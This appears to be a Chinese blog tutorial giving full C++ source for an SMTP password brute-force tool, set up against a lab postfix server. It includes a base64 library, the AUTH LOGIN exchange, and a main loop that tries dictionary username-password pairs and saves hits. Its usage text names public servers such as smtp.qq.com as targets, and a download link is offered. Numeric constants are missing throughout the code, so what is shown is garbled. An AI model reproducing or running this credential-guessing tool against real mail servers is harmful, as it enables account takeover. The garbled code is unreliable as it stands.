SMTP暴力破解
这里实现一个SMTP的暴力破解程序,实验搭建的是postfix服务器,猜解用户名字典(user.txt)和密码字典(password.txt)中匹配的用户名密码对,
程序开发环境是:
WinXP VC6.0
参考资料:
SMTP-E-mail密码暴力破解: http://www.redicecn.com/html/yuanchuangchengxu/20090226/39.html
Encoding and decoding base 64 with c++: http://renenyffenegger.ch/notes/development/Base64/Encoding-and-decoding-base-64-with-cpp
这里要首先说明的是,参考资料“SMTP-E-mail密码暴力破解”中的base64算法存在问题,不能得到正确的结果,于是在网上找到了一个可以使用的base64的C++版的算法实现。而且,这个程序只能一次暴力猜解单个账户的密码。
另外提供一个在线的base64编码/解码以供检测: http://www1.tc711.com/tool/BASE64.htm
一、实验环境说明
实验采用的是postfix服务器,关于邮件服务器的搭建这里就不做说明,需要费些功夫,网上也有很多的参考资料。
邮箱域名是: mail.starnight.com SMTP端口:25
邮箱服务器内网地址是: 192.168.1.107 -- mail.starnight.com
我们需要先修改一下hosts文件的内容: C:\WINDOWS\system32\drivers\etc\hosts -- winxp (其他系统请自己查找hosts文件位置)
增加如下记录:格式如:
your-ip-address domain-name
192.168.1.107 mail.starnight.com
telnet上邮箱服务器(mail.starnight.com)的25号端口,并进行用户名密码验证。
telnet mail.starnight.com 25

【说明】
1、helo/ehlo: 类似于跟远程服务器打招呼,但ehlo返回的消息更为丰富。
2、进行用户名密码认证:
auth login // 用户认证, 明文
334 VXNlcm5hbWU6 // 服务器回传 状态码334 base64编码后的Username:
dGVzdDE= // base64编码的"test1"
334 UGFzc3dvcmQ6 // 服务器回传 状态码334 base64编码后的Password:
MTIzNDU2 // base64编码的"123456"
235 2.7.0 Authentication successful //服务器回传状态吗235 认证成功
二、 Base64编码/解码算法C++实现
这里可以直接参考上面给出的链接,为了避免存在可能访问不了的情况,现斗胆照搬过来:
1、base64.h
#include <string>
std::string base64_encode(unsigned char const* , unsigned int len);
std::string base64_decode(std::string const& s);
2、base64.cpp
/*
base64.cpp and base64.h Copyright (C) 2004-2017 René Nyffenegger This source code is provided 'as-is', without any express or implied
warranty. In no event will the author be held liable for any damages
arising from the use of this software. Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions: 1. The origin of this source code must not be misrepresented; you must not
claim that you wrote the original source code. If you use this source code
in a product, an acknowledgment in the product documentation would be
appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original source code. 3. This notice may not be removed or altered from any source distribution. René Nyffenegger rene.nyffenegger@adp-gmbh.ch */ #include "base64.h"
#include <iostream> static const std::string base64_chars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/"; static inline bool is_base64(unsigned char c) {
return (isalnum(c) || (c == '+') || (c == '/'));
} std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) {
std::string ret;
int i = ;
int j = ;
unsigned char char_array_3[];
unsigned char char_array_4[]; while (in_len--) {
char_array_3[i++] = *(bytes_to_encode++);
if (i == ) {
char_array_4[] = (char_array_3[] & 0xfc) >> ;
char_array_4[] = ((char_array_3[] & 0x03) << ) + ((char_array_3[] & 0xf0) >> );
char_array_4[] = ((char_array_3[] & 0x0f) << ) + ((char_array_3[] & 0xc0) >> );
char_array_4[] = char_array_3[] & 0x3f; for(i = ; (i <) ; i++)
ret += base64_chars[char_array_4[i]];
i = ;
}
} if (i)
{
for(j = i; j < ; j++)
char_array_3[j] = '\0'; char_array_4[] = ( char_array_3[] & 0xfc) >> ;
char_array_4[] = ((char_array_3[] & 0x03) << ) + ((char_array_3[] & 0xf0) >> );
char_array_4[] = ((char_array_3[] & 0x0f) << ) + ((char_array_3[] & 0xc0) >> );
char_array_4[] = char_array_3[] & 0x3f; for (j = ; (j < i + ); j++)
ret += base64_chars[char_array_4[j]]; while((i++ < ))
ret += '='; } return ret; } std::string base64_decode(std::string const& encoded_string) {
int in_len = encoded_string.size();
int i = ;
int j = ;
int in_ = ;
unsigned char char_array_4[], char_array_3[];
std::string ret; while (in_len-- && ( encoded_string[in_] != '=') && is_base64(encoded_string[in_])) {
char_array_4[i++] = encoded_string[in_]; in_++;
if (i ==) {
for (i = ; i <; i++)
char_array_4[i] = base64_chars.find(char_array_4[i]); char_array_3[] = ( char_array_4[] << ) + ((char_array_4[] & 0x30) >> );
char_array_3[] = ((char_array_4[] & 0xf) << ) + ((char_array_4[] & 0x3c) >> );
char_array_3[] = ((char_array_4[] & 0x3) << ) + char_array_4[]; for (i = ; (i < ); i++)
ret += char_array_3[i];
i = ;
}
} if (i) {
for (j = i; j <; j++)
char_array_4[j] = ; for (j = ; j <; j++)
char_array_4[j] = base64_chars.find(char_array_4[j]); char_array_3[] = (char_array_4[] << ) + ((char_array_4[] & 0x30) >> );
char_array_3[] = ((char_array_4[] & 0xf) << ) + ((char_array_4[] & 0x3c) >> );
char_array_3[] = ((char_array_4[] & 0x3) << ) + char_array_4[]; for (j = ; (j < i - ); j++) ret += char_array_3[j];
} return ret;
}
3、test.cpp
#include "base64.h"
#include <iostream> int main() {
const std::string s =
"René Nyffenegger\n"
"http://www.renenyffenegger.ch\n"
"passion for data\n"; std::string encoded = base64_encode(reinterpret_cast<const unsigned char*>(s.c_str()), s.length());
std::string decoded = base64_decode(encoded); std::cout << "encoded: " << std::endl << encoded << std::endl << std::endl;
std::cout << "decoded: " << std::endl << decoded << std::endl; return ;
}
三、暴力破解程序实现
1、实现代码
代码中添加了相当的注释,应该不难理解,跟原"SMTP-E-mail密码暴力破解"相比,不仅修正了base64算法,而且可以针对用户名字典-密码字典的暴力猜解。
#include <iostream>
#include <winsock2.h>
#include "base64.h" using namespace std; #pragma comment(lib, "ws2_32.lib") FILE *fpPass, *fpUser, *fpResult; // 文件描述符,用户名、密码文件、保存破解文件指针
SOCKET sock; // 套接字描述符
char send_wait(char *, char *, char); // 函数声明:发送数据并等待接受响应码
void usage(); // 程序使用说明
void initialsocket(); // 重置连接
struct sockaddr_in destAddr; // 目的地址 int main( int argc, char *argv[] )
{
WSADATA wsaData;
DWORD starttime; // 程序运行的起始时间
struct hostent *host; // 域名转换
char userFile[]; // 用户名字典文件
char passFile[]; // 密码字典文件路径
char username[]; // 用户名
char password[]; // 密码 int k = , i = , j = ; // 已读取密码文件行数
char *ICMP_DEST_IP; // DNS查询到的IP地址 memset(passFile, , sizeof(passFile));
memset(userFile, , sizeof(userFile));
// 打印使用帮助
if( == argc )
{
usage();
return -;
} for( i = ; i < argc; i++ )
{
// 用户名字典文件
if(strstr(argv[i], "-u"))
{
if(strlen(argv[i+]) > )
{
printf("用户名字典文件名太长!\n");
return ;
}
strncpy(userFile, argv[i+], strlen(argv[i+])); // 拷贝密码字典文件路径
i++;
}
// 密码字典文件
if(strstr(argv[i], "-p"))
{
if(strlen(argv[i+]) > )
{
printf("密码字典文件名太长!\n");
return ;
}
strncpy(passFile, argv[i+], strlen(argv[i+])); // 拷贝密码字典文件路径
i++;
}
if(strstr(argv[i], "-?")) // 帮助
{
usage();
return ;
}
} // 判断用户名和密码文件路径是否为空
if(strlen(userFile) == || strlen(passFile) == )
{
printf("请指定用户名和密码字典路径!\n");
usage();
return ;
} printf("userFile:%s \t passFile:%s\n", userFile, passFile); // 最后一个参数输入域名
ICMP_DEST_IP = argv[argc-]; if(WSAStartup(MAKEWORD(, ), &wsaData) != )
{
printf("套接字版本协商出错!\n");
WSACleanup();
return ;
} // 域名解析
host = gethostbyname(ICMP_DEST_IP);
if(NULL == host)
{
printf("无法解析主机%s的IP地址!\n", ICMP_DEST_IP);
WSACleanup();
return ;
}
else // 使用获取到的第一个IP地址
{
ICMP_DEST_IP = inet_ntoa(*(struct in_addr*)host->h_addr_list[]);
printf("server ip : %s\n", ICMP_DEST_IP);
} // 填写目的地址结构体: 协议、地址、端口 SMTP:25
memset(&destAddr, , sizeof(destAddr));
destAddr.sin_family = AF_INET;
destAddr.sin_addr.s_addr = inet_addr(ICMP_DEST_IP);
destAddr.sin_port = htons(); // 以只读打开用户名、密码文件、破解成功的结果 fpUser = fopen(userFile, "r");
fpResult = fopen("result.txt", "w"); if( NULL == fpUser )
{
printf("打开文件失败,请检查输入文件是否存在!\n");
WSACleanup();
return ;
} initialsocket(); // 初始化socket连接
starttime = GetTickCount(); // 获取当前偏移时间 memset(username, , sizeof(username));
while(fgets(username, , fpUser))
{
j++;
// username[strlen(username)-1] = '\0';
if(username[strlen(username)-]==0x0A)
username[strlen(username)-]=; memset(password, , sizeof(password));
fpPass = fopen(passFile, "r"); // 重新打开文件
while (fgets(password, , fpPass))
{
k++;
// password[strlen(password)-1] = '\0';
if(password[strlen(password)-]==0x0A)
password[strlen(password)-]=;
printf("%d:%d username:%s \t password:%s\n", j, k, username, password); //发送AUTH LOGIN命令,并起到接收响应码334
if(send_wait("AUTH LOGIN", "", ) != )
continue; if(send_wait(username, "", ) != )
continue; if(send_wait(password, "", ) != )
continue;
else
{
printf("------------ find a pair ---------------\n");
printf("username:%s \t password:%s\n", username, password);
printf("----------------------------------------\n"); // 将保存的结果写入到文件中
fputs(username, fpResult);
fputs(":", fpResult);
fputs(password, fpResult);
fputs("\n", fpResult); // 发送quit消息,退出登录状态,再初始化连接
if(send_wait("QUIT", "", ) != )
printf("disconnected failed!!!\n");
else
printf("disconnected from remote mail server...\n");
initialsocket(); memset(username, , sizeof(username));
break;
fclose(fpPass);
}
}
} printf("程序运行耗时:%ds:%dms\n", ((GetTickCount()-starttime)) / , ((GetTickCount()-starttime)) % );
fclose(fpPass);
closesocket(sock);
WSACleanup();
return ;
} /**
** 发送数据并等待接受响应码
** 参数说明: command: 发送的命令、 responseCode: 期待接受的响应码、 isEncode: 是否需要base64编码(1表示需要,0表示不需要)
** 返回值: -1:发送失败、 0:接收数据出错、 1:没有成功接收到响应码 、 2:成功接收到响应码
*/
char send_wait(char *command, char *responseCode, char isEncode)
{
// unsigned char *base64;
char smtp_data[]; // 提交给SMTP服务器的数据
char recvBuf[]; // 接收数据缓冲区
DWORD starttime; // 开始时间
memset(smtp_data, , sizeof(smtp_data));
if(isEncode) // 需要进行base64编码
{
std::string encoded = base64_encode(reinterpret_cast<const unsigned char*>((string(command).c_str())), string(command).length());
printf("encode : %s\n", encoded.c_str());
strcpy(smtp_data, encoded.c_str());
} else
{
strcpy(smtp_data, command);
} // 加上换行符
smtp_data[strlen(smtp_data)] = 0x0D;
smtp_data[strlen(smtp_data)] = 0x0A; if(SOCKET_ERROR == send(sock, smtp_data, strlen(smtp_data), ))
{
printf("发送请求出错!\n");
return -;
}
memset(recvBuf, , sizeof(recvBuf));
starttime = GetTickCount();
while()
{
// 设置2s的超时时间
if(GetTickCount() - starttime > )
{
printf("timeout...\n");
return ;
} if(SOCKET_ERROR == recv(sock, recvBuf, , ))
{
printf("接收信息出错");
return ;
}
else
{
printf("recvBuf:==# %s \n", recvBuf);
if(NULL == strstr(recvBuf, responseCode))
{
if(strstr(recvBuf, "") || strstr(recvBuf, ""))
initialsocket(); // 重置socket连接
return ;
}
else
return ;
}
}
} // 程序使用说明
void usage()
{
printf("============================E-mail密码暴力破解工具=============================\n");
printf("By RedIce:redice@see.xidian.edu.cn\n");
printf("Modified by starnight(starnight_cyber@foxmail.com) -- 2017.3.31 \n");
printf("注意:国内部分SMTP服务器有防暴力破解设置(eg. smtp.126.com)\n");
printf("================================================================================\n");
printf("Usage: SMTPBruteForce.exe -u pathToUsername -p pathToPassword smtpServerAddress\n");
printf("Options:\n\n");
printf(" -u pathToUsername:指定用户名字典文件\n");
printf(" -f pathToPassword:指定密码字典文件\n");
printf(" -? 显示该帮助信息\n\n");
printf(" smtpServerAddress: 邮箱服务器地址,如smtp.qq.com\n");
} void initialsocket()
{
char recvBuf[]; // 接收服务器返回数据缓冲区
int timeout = ;
closesocket(sock);
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // 创建套接字
if(INVALID_SOCKET == sock)
{
printf("创建套接字出错!\n");
WSACleanup();
exit();
} // 连接目标主机
if(SOCKET_ERROR == connect(sock, (SOCKADDR*)&destAddr, sizeof(destAddr)))
{
printf("连接目标主机失败!.\n");
closesocket(sock);
WSACleanup();
exit();
} // 设置超时时间
if(SOCKET_ERROR == setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout)))
{
printf("设置套接字超时失败!.\n");
closesocket(sock);
WSACleanup();
exit();
} memset(recvBuf, , sizeof(recvBuf));
if(SOCKET_ERROR == recv(sock, recvBuf, , ))
{
printf("接收连接信息出错!.\n");
closesocket(sock);
WSACleanup();
exit();
}
else {
if(strstr(recvBuf, ""))
{
printf("该服务器有防暴力破解设置,您的IP地址被临时禁制连接,请稍后再试...\n");
printf("From SMTP Server : \n%s\n", recvBuf);
closesocket(sock);
WSACleanup();
exit();
}
}
// 发送"EHLO starnight.com"命令,并期待接收响应码250
send_wait("EHLO mail.starnight.com", "", );
}
2、使用方法说明Usage:
Usage: SMTPBruteForce.exe -u pathToUsername -p pathToPassword smtpServerAddress
Options:
-u pathToUsername:指定用户名字典文件
-f pathToPassword:指定密码字典文件
-? 显示该帮助信息
smtpServerAddress: 邮箱服务器地址,如smtp.qq.com
3、暴力破解测试
C:\code\SMTPBruteForce\Debug>SMTPBruteForce.exe -u user.txt -p password.txt mail.starnight.com
实验结果截图:


值得说明的是,这种验证方式会比较慢...
源代码百度云分享: 链接: https://pan.baidu.com/s/1o88st66 密码: ubvw
四、SMTP状态码
Code Meaning
(nonstandard success response, see rfc876)
System status, or system help reply
Help message
<domain> Service ready
<domain> Service closing transmission channel
Requested mail action okay, completed
User not local; will forward to <forward-path>
Cannot VRFY user, but will accept message and attempt delivery
Start mail input; end with <CRLF>.<CRLF>
<domain> Service not available, closing transmission channel
Requested mail action not taken: mailbox unavailable
Requested action aborted: local error in processing
Requested action not taken: insufficient system storage
Syntax error, command unrecognised
Syntax error in parameters or arguments
Command not implemented
Bad sequence of commands
Command parameter not implemented
<domain> does not accept mail (see rfc1846)
Access denied (???a Sendmailism)
Requested action not taken: mailbox unavailable
User not local; please try <forward-path>
Requested mail action aborted: exceeded storage allocation
Requested action not taken: mailbox name not allowed
Transaction failed
SMTP状态码:
http://www.greenend.org.uk/rjk/tech/smtpreplies.html
https://tools.ietf.org/rfc/rfc4954.txt
中文参考:
http://blog.sina.com.cn/s/blog_648d85ef0100yg1t.html
http://www.codeweblog.com/smtp%E7%8A%B6%E6%80%81%E7%A0%81/
最后,欢迎大家跟我交流!
SMTP暴力破解的更多相关文章
- Fail2ban 防止暴力破解centos服务器的SSH或者FTP账户
次尝试登陆root账户失败的情况.[说明服务器被攻击了] logtarget = SYSLOG #我们需要做的就是把这行改成/var/log/fail2ban.log,方便用来记录日志信息 so ...
- centos 7 DenyHosts 安装 防暴力破解ssh登陆
为了减少软件扫描ssh登陆 还是用这个比较好点 默认端口号22 也要改 登陆密码也不要使用 弱口令 123456 这样的 Description DenyHosts is a python prog ...
- 防止服务器被暴力破解使用DenyHosts
公司有台服务器被坏人盯上了,通过日志可以看到一直在做暴力破解ssh. 防止服务器被暴力破解使用DenyHosts 参考链接: 防止ssh破解,Ubuntu安装denyhosts的一些问题 防止你的ss ...
- Linux 利用hosts.deny 防止暴力破解ssh(转)
一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7 ...
- Linux 安装DenyHost防止ssh被暴力破解
DenyHosts介绍 当你的linux服务器暴露在外网当中时,服务器就极有可能会遭到互联网上的扫描软件进行扫描,然后试图连接ssh端口进行暴力破解(穷举扫描).如果遇到这个问题,一款非常有用的工具D ...
- Web攻防之暴力破解(何足道版)
原创文章 原文首发我实验室公众号 猎户安全实验室 然后发在先知平台备份了一份 1 @序 攻防之初,大多为绕过既有逻辑和认证,以Getshell为节点,不管是SQL注入获得管理员数据还是XSS 获得后台 ...
- fail2ban的使用以及防暴力破解与邮件预警
fail2ban可以监视你的系统日志,然后匹配日志的错误信息(正则式匹配)执行相应的屏蔽动作(一般情况下是防火墙),而且可以发送e-mail通知系统管理员! fail2ban运行机制:简单来说其功能就 ...
- fail2ban 防暴力破解总结
公司服务器安全问题一直是个令人头疼的问题,许多运维的小伙伴一直在用脚本来监控服务器登录状态,然而脚本编写比较麻烦,今天就给大家推荐一款小而精致的防暴力破解工具 fail2ban ,他可以监控系统日志, ...
- Linux 利用hosts.deny 防止暴力破解ssh
一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7 ...
随机推荐
- 3dContactPointAnnotationTool开发日志(三十)
在vs2017里生成opencv时遇到了无法打开python27_d.lib的问题,具体解决请看这个,不过我用的是方法2,python37_d.lib找不到同理. Windows下可以用的op ...
- Linux的cut命令
cut是一个选取命令,就是将一段数据经过分析,取出我们想要的.一般来说,选取信息通常是针对“行”来进行分析的,并不是整篇信息分析的. (1)其语法格式为:cut [-bn] [file] 或 cut ...
- HDU4045_Machine scheduling
题意为要你从编号为1-n的所有机器中间选择出r个机器且每一个机器的编号只差不小于k-1,然后将选择的r个机器分为m组有多少种方案. 其实这题目的两个步骤是相互独立的. 总共的方案数等于选择的方案数乘以 ...
- C++解析(15):二阶构造模式
0.目录 1.构造函数与半成品对象 2.二阶构造 3.小结 1.构造函数与半成品对象 关于构造函数: 类的构造函数用于对象的初始化 构造函数与类同名并且没有返回值 构造函数在对象定义时自动被调用 问题 ...
- 【转】ssh登录原理以及ssh免密码登陆
一.什么是SSH? 简单说,SSH是一种网络协议,用于计算机之间的加密登录. 如果一个用户从本地计算机,使用SSH协议登录另一台远程计算机,我们就可以认为,这种登录是安全的,即使被中途截获,密码也不会 ...
- shell的uniq命令
uniq 命令用于检查及删除文本文件中重复出现的行列,一般与 sort 命令结合使用. uniq 可检查文本文件中重复出现的行列. 命令语法: uniq [-c/d/D/u/i] [-f Fields ...
- Linux环境安装.NET运行环境
Linux环境安装.NET运行环境 Linux环境安装.NET运行环境 1. 构建编译环境: (1) sudo apt-get install build-essential (2) sudo apt ...
- [JLOI2011]飞行路线 最短路
题面 题面 题解 这题不是很难,因为删代价的次数不多,因此我们只需要将最短路中的状态加一维表示已经删了几次,再转移即可 #include<bits/stdc++.h> using name ...
- 解题:POI 2013 Taxis
题面 设当前位置为$pos$,那么可以发现在出租车总部左侧时,每辆车的贡献是$x[i]-(d-pos)$,而在右侧时只有$x[i]>=m-d$的车能够把人送到,那么首先我们要找出最小的满足$x[ ...
- LOJ #6036.「雅礼集训 2017 Day4」编码 Trie树上2-sat
记得之前做过几道2-sat裸体,以及几道2-sat前缀优化建图,这道题使用了前缀树上前缀树优化建图.我们暴力建图肯定是n^2级别的,那么我们要是想让边数少点,就得使用一些骚操作.我们观察我们的限制条件 ...